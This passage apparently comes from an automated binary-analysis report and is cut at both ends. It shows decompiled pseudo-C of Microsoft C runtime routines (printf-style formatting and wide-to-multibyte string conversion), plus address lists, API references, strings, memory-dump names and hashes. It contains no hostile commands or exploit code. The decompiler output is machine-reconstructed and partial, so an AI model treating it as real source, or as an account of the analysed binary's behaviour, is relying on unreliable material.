																				__eflags =  *(__ebp - 0x460) + 0x51;
																				 *(__ebp - 0x12) = __ax;
																				 *(__ebp - 0x1c) = 2;
																			}
																			goto L150;
																		case 0xe:
																			while(1) {
																				L187:
																				__eflags =  *(_t674 - 0x28);
																				if( *(_t674 - 0x28) != 0) {
																					goto L212;
																				}
																				goto L188;
																			}
																	}
																case 8:
																	L24:
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) | 0x00000002;
																	 *(__ebp - 0x10) = __ecx;
																	goto L27;
																case 9:
																	L25:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																	goto L27;
																case 0xa:
																	L23:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
																	goto L27;
																case 0xb:
																	L22:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																	goto L27;
																case 0xc:
																	L26:
																	__eax =  *(__ebp - 0x10);
																	__eax =  *(__ebp - 0x10) | 0x00000008;
																	__eflags = __eax;
																	 *(__ebp - 0x10) = __eax;
																	goto L27;
																case 0xd:
																	L27:
																	goto L214;
															}
														} else {
															_t642 = 0;
															__eflags = 0;
															if(0 == 0) {
																 *(_t674 - 0x4dc) = 0;
															} else {
																 *(_t674 - 0x4dc) = 1;
															}
															 *(_t674 - 0x46c) =  *(_t674 - 0x4dc);
															__eflags =  *(_t674 - 0x46c);
															if( *(_t674 - 0x46c) == 0) {
																_push(L"(\"Incorrect format specifier\", 0)");
																_push(0);
																_push(0x460);
																_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																_push(2);
																_t519 = L0041AAF0();
																_t677 = _t677 + 0x14;
																__eflags = _t519 - 1;
																if(_t519 == 1) {
																	asm("int3");
																}
															}
															L14:
															__eflags =  *(_t674 - 0x46c);
															if( *(_t674 - 0x46c) != 0) {
																goto L16;
															} else {
																 *((intOrPtr*)(L0041A7C0(_t588))) = 0x16;
																E00419D60(_t588, L"(\"Incorrect format specifier\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
																 *(_t674 - 0x4c8) = 0xffffffff;
																E0041B2A0(_t674 - 0x40);
																_t504 =  *(_t674 - 0x4c8);
																L225:
																__eflags =  *(_t674 - 0x48) ^ _t674;
																return E00422570(_t504, _t567,  *(_t674 - 0x48) ^ _t674, _t642, _t672, _t673);
															}
														}
													}
													L4:
													__eflags = ( *(_t674 - 0x454) & 0x0000ffff) - 0x78;
													if(( *(_t674 - 0x454) & 0x0000ffff) > 0x78) {
														goto L6;
													} else {
														 *(_t674 - 0x4d8) =  *(( *(_t674 - 0x454) & 0x0000ffff) +  &M004077B8) & 0xf;
														goto L7;
													}
												}
												L215:
												__eflags =  *(_t674 - 0x45c);
												if( *(_t674 - 0x45c) == 0) {
													L218:
													 *(_t674 - 0x4f8) = 1;
													L219:
													_t642 =  *(_t674 - 0x4f8);
													 *(_t674 - 0x4bc) =  *(_t674 - 0x4f8);
													__eflags =  *(_t674 - 0x4bc);
													if( *(_t674 - 0x4bc) == 0) {
														_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
														_push(0);
														_push(0x8f5);
														_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
														_push(2);
														_t509 = L0041AAF0();
														_t677 = _t677 + 0x14;
														__eflags = _t509 - 1;
														if(_t509 == 1) {
															asm("int3");
														}
													}
													__eflags =  *(_t674 - 0x4bc);
													if( *(_t674 - 0x4bc) != 0) {
														 *(_t674 - 0x4d4) =  *(_t674 - 0x44c);
														E0041B2A0(_t674 - 0x40);
														_t504 =  *(_t674 - 0x4d4);
													} else {
														 *((intOrPtr*)(L0041A7C0(_t580))) = 0x16;
														E00419D60(_t580, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
														 *(_t674 - 0x4d0) = 0xffffffff;
														E0041B2A0(_t674 - 0x40);
														_t504 =  *(_t674 - 0x4d0);
													}
													goto L225;
												}
												L216:
												__eflags =  *(_t674 - 0x45c) - 7;
												if( *(_t674 - 0x45c) == 7) {
													goto L218;
												}
												L217:
												 *(_t674 - 0x4f8) = 0;
												goto L219;
											}
										}
										L184:
										__eflags =  *(_t674 - 0x24);
										if( *(_t674 - 0x24) == 0) {
											L186:
											 *((intOrPtr*)(_t674 - 4)) =  *((intOrPtr*)(_t674 - 4)) - 1;
											 *((char*)( *((intOrPtr*)(_t674 - 4)))) = 0x30;
											_t613 =  *(_t674 - 0x24) + 1;
											__eflags = _t613;
											 *(_t674 - 0x24) = _t613;
											goto L187;
										}
										L185:
										__eflags =  *((char*)( *((intOrPtr*)(_t674 - 4)))) - 0x30;
										if( *((char*)( *((intOrPtr*)(_t674 - 4)))) == 0x30) {
											goto L187;
										}
										goto L186;
									}
								}
							}
						}
					}
				}
			}

0x004319c5
0x004319c5
0x004319c5
0x004319c5
0x004319c5
0x004319c5
0x004319c5
0x004319cb
0x004319ce
0x00000000
0x00431a4c
0x00000000
0x00431a4c
0x00000000
0x00431a4c
0x00431a4c
0x00431a54
0x00431a76
0x00431a76
0x00431a7c
0x00431a9e
0x00431aa1
0x00431ae8
0x00431ae8
0x00431aeb
0x00431b0c
0x00431b11
0x00431b14
0x00431b16
0x00431b1c
0x00431aed
0x00431af1
0x00431af6
0x00431af9
0x00431afa
0x00431b00
0x00431b00
0x00431aa3
0x00431aa6
0x00431aa6
0x00431aa9
0x00431acb
0x00431ad0
0x00431ad6
0x00431ad7
0x00431add
0x00431aab
0x00431aaf
0x00431ab4
0x00431ab8
0x00431ab9
0x00431abf
0x00431abf
0x00431ae3
0x00431a7e
0x00431a82
0x00431a87
0x00431a8a
0x00431a90
0x00431a90
0x00431a56
0x00431a5a
0x00431a5f
0x00431a62
0x00431a68
0x00431a68
0x00431b28
0x00431b6a
0x00431b70
0x00431b7c
0x00000000
0x00431b2a
0x00431b2a
0x00431b2a
0x00431b31
0x00000000
0x00431b3e
0x00431b3e
0x00431b4c
0x00431b51
0x00431b57
0x00431b65
0x00431b82
0x00431b8a
0x00431bac
0x00431bac
0x00431bb6
0x00431bc7
0x00431bca
0x00431bd1
0x00431bd3
0x00431bd3
0x00431bb8
0x00431bb8
0x00431bb8
0x00431be6
0x00431be8
0x00431be8
0x00431bf5
0x00431bf8
0x00431bf8
0x00431bfe
0x00431c01
0x00431c06
0x00000000
0x00000000
0x00431c16
0x00431c19
0x00431c23
0x00431c32
0x00431c3b
0x00431c51
0x00431c57
0x00431c64
0x00431c72
0x00431c72
0x00431c81
0x00431c89
0x00431c89
0x00431c91
0x00431c9a
0x00431ca3
0x00431ca9
0x00431caf
0x00431cda
0x00431cda
0x00431cda
0x00431cde
0x00000000
0x00000000
0x00431ce4
0x00431ce7
0x00431cea
0x00431cef
0x00431cf4
0x00431d0b
0x00431d0e
0x00431d25
0x00431d28
0x00431d2f
0x00431d33
0x00431d33
0x00431d10
0x00431d15
0x00431d19
0x00431d19
0x00431cf6
0x00431cfb
0x00431cff
0x00431cff
0x00431cf4
0x00431d43
0x00431d4c
0x00431d4f
0x00431d65
0x00431d6a
0x00431d6a
0x00431d80
0x00431d85
0x00431d8b
0x00431d8e
0x00431d93
0x00431d96
0x00431dac
0x00431db1
0x00431db1
0x00431d96
0x00431db4
0x00431db8
0x00431e72
0x00431e85
0x00431e8a
0x00000000
0x00431dbe
0x00431dbe
0x00431dbe
0x00431dc2
0x00000000
0x00000000
0x00431dc8
0x00431dcb
0x00431dd4
0x00431dda
0x00431dda
0x00431de9
0x00431def
0x00431df1
0x00000000
0x00000000
0x00431df3
0x00431df6
0x00431e1b
0x00431e20
0x00431e23
0x00431e29
0x00431e30
0x00431e3e
0x00431e51
0x00431e56
0x00431e65
0x00000000
0x00431e65
0x00431e32
0x00431e32
0x00000000
0x00431e32
0x00431e70
0x00431e8d
0x00431e8d
0x00431e94
0x00431e99
0x00431e9c
0x00431eb2
0x00431eb7
0x00431eb7
0x00431e9c
0x00431e94
0x00431eba
0x00431eba
0x00431ebe
0x00431ec6
0x00431ecb
0x00431ece
0x00431ece
0x00431ed5
0x00431ed5
0x0043105b
0x00431062
0x0043106f
0x00431072
0x00431074
0x00000000
0x00000000
0x0043107a
0x0043107a
0x00431081
0x00000000
0x00000000
0x00431087
0x0043108e
0x00431091
0x004310b8
0x004310b8
0x004310c2
0x004310c8
0x004310d4
0x004310d7
0x004310e5
0x004310e8
0x004310ee
0x004310f5
0x0043119a
0x004311a0
0x004311a6
0x004311ad
0x00000000
0x00000000
0x004311b3
0x004311b9
0x00000000
0x004311c0
0x004311c0
0x004311da
0x004311df
0x00000000
0x00000000
0x004311e7
0x004311e7
0x004311ee
0x004311f1
0x004311f4
0x004311f7
0x004311fa
0x004311fd
0x00431200
0x00431207
0x0043120e
0x00000000
0x00000000
0x0043121a
0x0043121a
0x00431221
0x0043122d
0x00431230
0x00431236
0x0043123d
0x00000000
0x00000000
0x0043123f
0x00431245
0x00431245
0x0043124c
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00431290
0x00431290
0x00431297
0x0043129a
0x004312c4
0x004312c7
0x004312c7
0x004312d1
0x004312d1
0x004312d5
0x0043129c
0x0043129c
0x004312a8
0x004312ab
0x004312af
0x004312b1
0x004312b4
0x004312b4
0x004312b7
0x004312ba
0x004312bd
0x004312bf
0x004312bf
0x004312c2
0x004312d8
0x00000000
0x00000000
0x004312dd
0x004312dd
0x00000000
0x00000000
0x004312e9
0x004312e9
0x004312f0
0x004312f3
0x00431313
0x00431316
0x00431316
0x00431320
0x00431320
0x00431324
0x004312f5
0x004312f5
0x00431301
0x00431304
0x00431308
0x0043130a
0x0043130a
0x00431311
0x00000000
0x00000000
0x0043132c
0x0043132c
0x00431333
0x0043133f
0x00431342
0x00431348
0x0043134f
0x00431462
0x00000000
0x00431462
0x00431355
0x0043135b
0x0043135b
0x00431362
0x00000000
0x00431399
0x00431399
0x0043139c
0x0043139f
0x004313a2
0x004313c9
0x004313c9
0x004313cc
0x004313cf
0x004313d2
0x004313f6
0x004313f6
0x004313f9
0x004313fc
0x004313ff
0x00431438
0x00431449
0x00000000
0x00431449
0x00431401
0x00431401
0x00431404
0x00431407
0x0043140a
0x00000000
0x00000000
0x0043140c
0x0043140c
0x0043140f
0x00431412
0x00431415
0x00000000
0x00000000
0x00431417
0x00431417
0x0043141a
0x0043141d
0x00431420
0x00000000
0x00000000
0x00431422
0x00431422
0x00431425
0x00431428
0x0043142b
0x00000000
0x00000000
0x0043142d
0x0043142d
0x00431430
0x00431433
0x00431436
0x0043143a
0x00000000
0x0043143a
0x00000000
0x00431436
0x004313d4
0x004313d4
0x004313d7
0x004313db
0x004313de
0x00000000
0x004313e0
0x004313e3
0x004313e6
0x004313ec
0x004313f1
0x00000000
0x004313f1
0x004313de
0x004313a4
0x004313a4
0x004313a7
0x004313ab
0x004313ae
0x00000000
0x004313b0
0x004313b3
0x004313b6
0x004313bc
0x004313c1
0x00000000
0x004313c1
0x00000000
0x0043144b
0x0043144b
0x0043144e
0x00431451
0x00000000
0x00000000
0x00431369
0x00431369
0x0043136c
0x0043136f
0x00431372
0x0043138b
0x0043138e
0x0043138e
0x00431391
0x00431374
0x00431374
0x00431377
0x0043137a
0x00431380
0x00431386
0x00431386
0x00000000
0x00000000
0x00431456
0x00431456
0x00431459
0x00431459
0x0043145f
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00431467
0x00431467
0x0043146e
0x00431474
0x0043147a
0x0043147d
0x00431483
0x0043148a
0x00431cda
0x00431cda
0x00431cda
0x00431cde
0x00000000
0x00000000
0x00000000
0x00431cde
0x00431cda
0x00431490
0x00431490
0x00431496
0x00431496
0x0043149d
0x00000000
0x00431821
0x00431821
0x0043182f
0x0043182f
0x00431832
0x00000000
0x00000000
0x004314a4
0x004314a7
0x004314a7
0x004314ad
0x004314af
0x004314b2
0x004314b2
0x004314b5
0x004314b5
0x00000000
0x00000000
0x004315ea
0x004315ed
0x004315ed
0x004315f2
0x004315f4
0x004315f7
0x004315f7
0x004315fa
0x004315fa
0x00000000
0x00000000
0x004319e7
0x004319e7
0x00000000
0x00000000
0x00431554
0x00431554
0x00431560
0x00431566
0x0043156d
0x0043157b
0x0043157b
0x00431581
0x00431584
0x00431590
0x004315e5
0x00000000
0x004315e5
0x0043156f
0x0043156f
0x00431575
0x00431579
0x00431595
0x00431598
0x00431598
0x0043159e
0x004315c6
0x004315cd
0x004315d3
0x004315d6
0x004315d9
0x004315df
0x004315e2
0x004315a0
0x004315a0
0x004315a6
0x004315a9
0x004315ac
0x004315b2
0x004315b5
0x004315b8
0x004315ba
0x004315bd
0x004315bd
0x00000000
0x0043159e
0x00000000
0x00000000
0x00431839
0x0043183c
0x0043183f
0x00431842
0x00431848
0x0043184b
0x00431852
0x00431856
0x00431861
0x00431861
0x00431865
0x0043187c
0x0043187c
0x00431883
0x00431885
0x00431885
0x0043188c
0x0043188c
0x00431893
0x004318a1
0x004318a4
0x004318b3
0x004318b6
0x004318ba
0x004318cf
0x004318bc
0x004318bc
0x004318bf
0x004318c5
0x004318ca
0x004318ca
0x004318ba
0x004318d9
0x004318dc
0x004318df
0x004318e2
0x004318e5
0x004318e8
0x004318ee
0x004318f4
0x004318fc
0x004318fd
0x00431900
0x00431901
0x00431904
0x00431905
0x0043190c
0x0043190d
0x00431910
0x00431911
0x00431914
0x00431915
0x0043191b
0x0043191c
0x00431922
0x00431923
0x00431929
0x0043192b
0x00431931
0x00431931
0x00431936
0x00431938
0x0043193c
0x0043193e
0x00431941
0x00431946
0x00431947
0x0043194a
0x0043194b
0x00431951
0x00431952
0x00431958
0x0043195a
0x0043195a
0x0043193c
0x0043195d
0x00431964
0x00431967
0x0043196c
0x0043196c
0x00431972
0x00431974
0x0043197c
0x0043197d
0x00431980
0x00431981
0x00431986
0x00431987
0x0043198d
0x0043198f
0x0043198f
0x00431972
0x00431992
0x00431995
0x00431998
0x0043199b
0x004319a0
0x004319a5
0x004319a8
0x004319ab
0x004319ab
0x004319ae
0x004319ae
0x004319b1
0x004319bd
0x00431cda
0x00431cda
0x00431cda
0x00431cde
0x00000000
0x00000000
0x00000000
0x00431cde
0x00000000
0x00431cda
0x00431867
0x00431867
0x0043186e
0x00431871
0x00000000
0x00000000
0x00431873
0x00431873
0x00000000
0x00431873
0x00431858
0x00431858
0x00000000
0x00000000
0x004314b8
0x004314b8
0x004314c3
0x004314cb
0x004314d2
0x004314d5
0x004314d5
0x004314d8
0x00431538
0x004314da
0x004314e1
0x004314e7
0x004314ed
0x004314f4
0x004314f7
0x004314fd
0x00431505
0x00431507
0x0043150e
0x00431515
0x0043151c
0x00431524
0x00431526
0x00431528
0x00431528
0x0043152f
0x0043153f
0x00431545
0x00431548
0x00431cda
0x00431cda
0x00431cda
0x00431cde
0x00000000
0x00000000
0x00000000
0x00431cde
0x00000000
0x00000000
0x00000000
0x0043172a
0x0043172a
0x00431736
0x0043173c
0x00431741
0x00431743
0x004317ed
0x004317ed
0x004317f0
0x004317f0
0x004317f3
0x00431807
0x0043180d
0x00431813
0x004317f5
0x004317f5
0x004317fb
0x00431802
0x00431802
0x00431815
0x00431cda
0x00431cda
0x00431cda
0x00431cde
0x00000000
0x00000000
0x00000000
0x00431cde
0x00431cda
0x00431749
0x00431749
0x00431749
0x0043174b
0x00431759
0x0043174d
0x0043174d
0x0043174d
0x00431763
0x00431769
0x0043176f
0x00431776
0x00431778
0x0043177d
0x0043177f
0x00431784
0x00431789
0x0043178b
0x00431790
0x00431793
0x00431796
0x00431798
0x00431798
0x00431796
0x00431799
0x004317a0
0x004317e8
0x00431cda
0x00431cda
0x00431cda
0x00431cde
0x00000000
0x00000000
0x00000000
0x00431cde
0x004317a2
0x004317a2
0x004317a7
0x004317c3
0x004317cb
0x004317d5
0x004317d8
0x004317dd
0x00000000
0x004317dd
0x00000000
0x00431a2e
0x00431a2e
0x00431a38
0x00431a38
0x00431a3e
0x00431a40
0x00431a43
0x00431a43
0x00431a49
0x00431a49
0x00000000
0x00000000
0x004319e0
0x004319e0
0x00000000
0x00000000
0x004315fd
0x004315fd
0x00431601
0x0043160f
0x00431612
0x00431603
0x00431603
0x00431603
0x00431618
0x0043161e
0x00431624
0x00431630
0x00431636
0x00431636
0x00431639
0x004316c1
0x004316c1
0x004316c5
0x004316c7
0x004316cd
0x004316cd
0x004316d0
0x004316d7
0x004316da
0x004316e0
0x004316e0
0x004316e0
0x004316e6
0x004316ec
0x004316ef
0x004316f5
0x004316f7
0x00000000
0x00000000
0x004316f9
0x004316f9
0x004316ff
0x00431702
0x00431704
0x00000000
0x00000000
0x00431706
0x0043170c
0x0043170f
0x0043170f
0x00431717
0x00431717
0x0043171d
0x0043171d
0x00431722
0x00000000
0x0043163f
0x0043163f
0x0043163f
0x00431643
0x00431645
0x0043164a
0x0043164a
0x0043164d
0x00431650
0x00431656
0x00431668
0x00431668
0x00431668
0x0043166b
0x00431671
0x00000000
0x00000000
0x00431673
0x00431673
0x00431679
0x0043167c
0x0043167e
0x00000000
0x00000000
0x00431680
0x00431680
0x00431689
0x0043168f
0x00431693
0x0043169b
0x0043169d
0x0043169f
0x004316a5
0x004316a5
0x004316a8
0x004316a8
0x004316b4
0x004316b7
0x0043165f
0x00431662
0x00431662
0x00431665
0x00431665
0x004316bf
0x00431725
0x00431cda
0x00431cda
0x00431cda
0x00431cde
0x00000000
0x00000000
0x00000000
0x00431cde
0x00431cda
0x00000000
0x004319d7
0x004319d7
0x00000000
0x00000000
0x004319f3
0x004319f3
0x004319fd
0x004319fd
0x00431a07
0x00431a07
0x00431a0d
0x00431a0f
0x00431a14
0x00431a1e
0x00431a1e
0x00431a21
0x00431a25
0x00431a25
0x00000000
0x00000000
0x00431cda
0x00431cda
0x00431cda
0x00431cde
0x00000000
0x00000000
0x00000000
0x00431cde
0x00000000
0x00000000
0x00431269
0x00431269
0x0043126c
0x0043126f
0x00000000
0x00000000
0x00431274
0x00431277
0x0043127d
0x00000000
0x00000000
0x0043125e
0x00431261
0x00431264
0x00000000
0x00000000
0x00431253
0x00431256
0x00431259
0x00000000
0x00000000
0x00431282
0x00431282
0x00431285
0x00431285
0x00431288
0x00000000
0x00000000
0x0043128b
0x00000000
0x00000000
0x004310fb
0x004310fb
0x004310fb
0x004310fd
0x0043110b
0x004310ff
0x004310ff
0x004310ff
0x0043111b
0x00431121
0x00431128
0x0043112a
0x0043112f
0x00431131
0x00431136
0x0043113b
0x0043113d
0x00431142
0x00431145
0x00431148
0x0043114a
0x0043114a
0x00431148
0x0043114b
0x0043114b
0x00431152
0x00000000
0x00431154
0x00431159
0x00431175
0x0043117d
0x0043118a
0x0043118f
0x00431f9e
0x00431fa1
0x00431fab
0x00431fab
0x00431152
0x004310f5
0x00431093
0x0043109a
0x0043109d
0x00000000
0x0043109f
0x004310b0
0x00000000
0x004310b0
0x0043109d
0x00431eda
0x00431eda
0x00431ee1
0x00431ef8
0x00431ef8
0x00431f02
0x00431f02
0x00431f08
0x00431f0e
0x00431f15
0x00431f17
0x00431f1c
0x00431f1e
0x00431f23
0x00431f28
0x00431f2a
0x00431f2f
0x00431f32
0x00431f35
0x00431f37
0x00431f37
0x00431f35
0x00431f38
0x00431f3f
0x00431f8a
0x00431f93
0x00431f98
0x00431f41
0x00431f46
0x00431f62
0x00431f6a
0x00431f77
0x00431f7c
0x00431f7c
0x00000000
0x00431f3f
0x00431ee3
0x00431ee3
0x00431eea
0x00000000
0x00000000
0x00431eec
0x00431eec
0x00000000
0x00431eec
0x00431cda
0x00431cb1
0x00431cb1
0x00431cb5
0x00431cc2
0x00431cc8
0x00431cce
0x00431cd4
0x00431cd4
0x00431cd7
0x00000000
0x00431cd7
0x00431cb7
0x00431cbd
0x00431cc0
0x00000000
0x00000000
0x00000000
0x00431cc0
0x00431b31
0x00431b28
0x00431a4c
0x00431a4c
0x00431a4c

APIs

_get_int64_arg.LIBCMTD ref: 00431A5A
_get_int64_arg.LIBCMTD ref: 00431A82
__aullrem.LIBCMT ref: 00431C2A
__aulldiv.LIBCMT ref: 00431C4C
_write_multi_char.LIBCMTD ref: 00431D65
_write_string.LIBCMTD ref: 00431D80
_write_multi_char.LIBCMTD ref: 00431DAC
__mbtowc_l.LIBCMTD ref: 00431E1B

Strings

_woutput_s_l, xrefs: 0043116B
("Incorrect format specifier", 0), xrefs: 0043112A, 00431170
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 00431136, 00431166
9, xrefs: 00431C5D

Memory Dump Source

Source File: 00000000.00000002.683771159.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.683744708.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.683860561.000000000043E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683876679.000000000044B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683890164.00000000004CB000.00000002.00020000.sdmp Download File

Similarity

API ID: _get_int64_arg_write_multi_char$__aulldiv__aullrem__mbtowc_l_write_string
String ID: ("Incorrect format specifier", 0)$9$_woutput_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 3455034128-2408376751
Opcode ID: 50bcbb42cb148ce26eb4ed54b1c5de2da353d199304b11d589e20b6da03ab9af
Instruction ID: 20480114da9fdbb4037f28acb49d4cc9d53a21a19192fa79beccceadaf154e68
Opcode Fuzzy Hash: 50bcbb42cb148ce26eb4ed54b1c5de2da353d199304b11d589e20b6da03ab9af
Instruction Fuzzy Hash: 4FF15BB1E002299FDF24CF55CC81BAEB7B0FB49304F14919AE609A7251D738AE84CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0042AA93, Relevance: 33.3, APIs: 22, Instructions: 319
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E0042AA93(void* __ebx, void* __edi, void* __esi) {
				intOrPtr _t157;
				int _t161;
				intOrPtr* _t183;
				intOrPtr _t205;
				void* _t222;
				intOrPtr _t241;
				intOrPtr _t248;
				void* _t294;
				void* _t295;
				signed int _t296;

				_t295 = __esi;
				_t294 = __edi;
				_t222 = __ebx;
				if( *(_t296 + 8) == 0) {
					if( *((intOrPtr*)( *((intOrPtr*)(E0041B2D0(_t296 - 0x20))) + 0x14)) != 0) {
						_t274 =  *(_t296 + 0xc);
						_t157 =  *((intOrPtr*)(E0041B2D0(_t296 - 0x20)));
						_t227 =  *(_t157 + 4);
						 *(_t296 - 4) = WideCharToMultiByte( *(_t157 + 4), 0,  *(_t296 + 0xc), 0xffffffff, 0, 0, 0, _t296 - 0x10);
						if( *(_t296 - 4) == 0 ||  *(_t296 - 0x10) != 0) {
							 *((intOrPtr*)(L0041A7C0(_t227))) = 0x2a;
							 *(_t296 - 0x74) = 0xffffffff;
							E0041B2A0(_t296 - 0x20);
							_t161 =  *(_t296 - 0x74);
						} else {
							_t274 =  *(_t296 - 4) - 1;
							 *(_t296 - 0x78) =  *(_t296 - 4) - 1;
							E0041B2A0(_t296 - 0x20);
							_t161 =  *(_t296 - 0x78);
						}
					} else {
						 *(_t296 - 0x34) = 0;
						 *(_t296 - 0x38) =  *(_t296 + 0xc);
						while(1) {
							_t274 =  *( *(_t296 - 0x38)) & 0x0000ffff;
							if(( *( *(_t296 - 0x38)) & 0x0000ffff) == 0) {
								break;
							}
							_t234 =  *( *(_t296 - 0x38)) & 0x0000ffff;
							if(( *( *(_t296 - 0x38)) & 0x0000ffff) <= 0xff) {
								 *(_t296 - 0x34) =  *(_t296 - 0x34) + 1;
								 *(_t296 - 0x38) =  &(( *(_t296 - 0x38))[1]);
								continue;
							} else {
								 *((intOrPtr*)(L0041A7C0(_t234))) = 0x2a;
								 *(_t296 - 0x6c) = 0xffffffff;
								E0041B2A0(_t296 - 0x20);
								_t161 =  *(_t296 - 0x6c);
							}
							goto L53;
						}
						 *(_t296 - 0x70) =  *(_t296 - 0x34);
						E0041B2A0(_t296 - 0x20);
						_t161 =  *(_t296 - 0x70);
					}
				} else {
					if( *((intOrPtr*)( *((intOrPtr*)(E0041B2D0(_t296 - 0x20))) + 0x14)) != 0) {
						if( *((intOrPtr*)( *((intOrPtr*)(E0041B2D0(_t296 - 0x20))) + 0xac)) != 1) {
							_t241 =  *((intOrPtr*)(E0041B2D0(_t296 - 0x20)));
							_t274 =  *(_t241 + 4);
							 *(_t296 - 4) = WideCharToMultiByte( *(_t241 + 4), 0,  *(_t296 + 0xc), 0xffffffff,  *(_t296 + 8),  *(_t296 + 0x10), 0, _t296 - 0x10);
							if( *(_t296 - 4) == 0 ||  *(_t296 - 0x10) != 0) {
								if( *(_t296 - 0x10) != 0 || GetLastError() != 0x7a) {
									 *((intOrPtr*)(L0041A7C0(_t241))) = 0x2a;
									 *(_t296 - 0x54) = 0xffffffff;
									E0041B2A0(_t296 - 0x20);
									_t161 =  *(_t296 - 0x54);
								} else {
									while( *(_t296 - 4) <  *(_t296 + 0x10)) {
										_t183 = E0041B2D0(_t296 - 0x20);
										_t248 =  *((intOrPtr*)(E0041B2D0(_t296 - 0x20)));
										_t274 =  *(_t248 + 4);
										 *((intOrPtr*)(_t296 - 0xc)) = WideCharToMultiByte( *(_t248 + 4), 0,  *(_t296 + 0xc), 1, _t296 - 0x2c,  *( *_t183 + 0xac), 0, _t296 - 0x10);
										if( *((intOrPtr*)(_t296 - 0xc)) == 0 ||  *(_t296 - 0x10) != 0) {
											 *((intOrPtr*)(L0041A7C0(_t248))) = 0x2a;
											 *(_t296 - 0x58) = 0xffffffff;
											E0041B2A0(_t296 - 0x20);
											_t161 =  *(_t296 - 0x58);
										} else {
											if( *((intOrPtr*)(_t296 - 0xc)) < 0 ||  *((intOrPtr*)(_t296 - 0xc)) > 5) {
												 *((intOrPtr*)(L0041A7C0(_t248))) = 0x2a;
												 *(_t296 - 0x5c) = 0xffffffff;
												E0041B2A0(_t296 - 0x20);
												_t161 =  *(_t296 - 0x5c);
											} else {
												if( *(_t296 - 4) +  *((intOrPtr*)(_t296 - 0xc)) <=  *(_t296 + 0x10)) {
													 *(_t296 - 8) = 0;
													while( *(_t296 - 8) <  *((intOrPtr*)(_t296 - 0xc))) {
														( *(_t296 + 8))[ *(_t296 - 4)] =  *((intOrPtr*)(_t296 +  *(_t296 - 8) - 0x2c));
														_t274 =  &(( *(_t296 + 8))[ *(_t296 - 4)]);
														if(( *(_t296 + 8))[ *(_t296 - 4)] != 0) {
															 *(_t296 - 8) =  *(_t296 - 8) + 1;
															 *(_t296 - 4) =  *(_t296 - 4) + 1;
															continue;
														} else {
															 *(_t296 - 0x64) =  *(_t296 - 4);
															E0041B2A0(_t296 - 0x20);
															_t161 =  *(_t296 - 0x64);
														}
														goto L53;
													}
													_t274 =  &(( *(_t296 + 0xc))[1]);
													 *(_t296 + 0xc) =  &(( *(_t296 + 0xc))[1]);
													continue;
												} else {
													 *(_t296 - 0x60) =  *(_t296 - 4);
													E0041B2A0(_t296 - 0x20);
													_t161 =  *(_t296 - 0x60);
												}
											}
										}
										goto L53;
									}
									 *(_t296 - 0x68) =  *(_t296 - 4);
									E0041B2A0(_t296 - 0x20);
									_t161 =  *(_t296 - 0x68);
								}
							} else {
								 *(_t296 - 0x50) =  *(_t296 - 4) - 1;
								E0041B2A0(_t296 - 0x20);
								_t161 =  *(_t296 - 0x50);
							}
						} else {
							if( *(_t296 + 0x10) > 0) {
								 *(_t296 + 0x10) = E0042AED0( *(_t296 + 0xc),  *(_t296 + 0x10));
							}
							_t274 =  *(_t296 + 0xc);
							_t205 =  *((intOrPtr*)(E0041B2D0(_t296 - 0x20)));
							_t261 =  *(_t205 + 4);
							 *(_t296 - 4) = WideCharToMultiByte( *(_t205 + 4), 0,  *(_t296 + 0xc),  *(_t296 + 0x10),  *(_t296 + 8),  *(_t296 + 0x10), 0, _t296 - 0x10);
							if( *(_t296 - 4) == 0 ||  *(_t296 - 0x10) != 0) {
								 *((intOrPtr*)(L0041A7C0(_t261))) = 0x2a;
								 *(_t296 - 0x4c) = 0xffffffff;
								E0041B2A0(_t296 - 0x20);
								_t161 =  *(_t296 - 0x4c);
							} else {
								if( *((char*)( &(( *(_t296 + 8))[ *(_t296 - 4)]) - 1)) == 0) {
									 *(_t296 - 4) =  *(_t296 - 4) - 1;
								}
								_t274 =  *(_t296 - 4);
								 *(_t296 - 0x48) =  *(_t296 - 4);
								E0041B2A0(_t296 - 0x20);
								_t161 =  *(_t296 - 0x48);
							}
						}
					} else {
						while(1) {
							_t266 =  *(_t296 - 4);
							if( *(_t296 - 4) >=  *(_t296 + 0x10)) {
								break;
							}
							_t274 =  *(_t296 + 0xc);
							if(( *( *(_t296 + 0xc)) & 0x0000ffff) <= 0xff) {
								( *(_t296 + 8))[ *(_t296 - 4)] =  *( *(_t296 + 0xc));
								_t274 =  *( *(_t296 + 0xc)) & 0x0000ffff;
								 *(_t296 + 0xc) =  &(( *(_t296 + 0xc))[1]);
								if(( *( *(_t296 + 0xc)) & 0x0000ffff) != 0) {
									_t274 =  *(_t296 - 4) + 1;
									 *(_t296 - 4) =  *(_t296 - 4) + 1;
									continue;
								} else {
									 *(_t296 - 0x40) =  *(_t296 - 4);
									E0041B2A0(_t296 - 0x20);
									_t161 =  *(_t296 - 0x40);
								}
							} else {
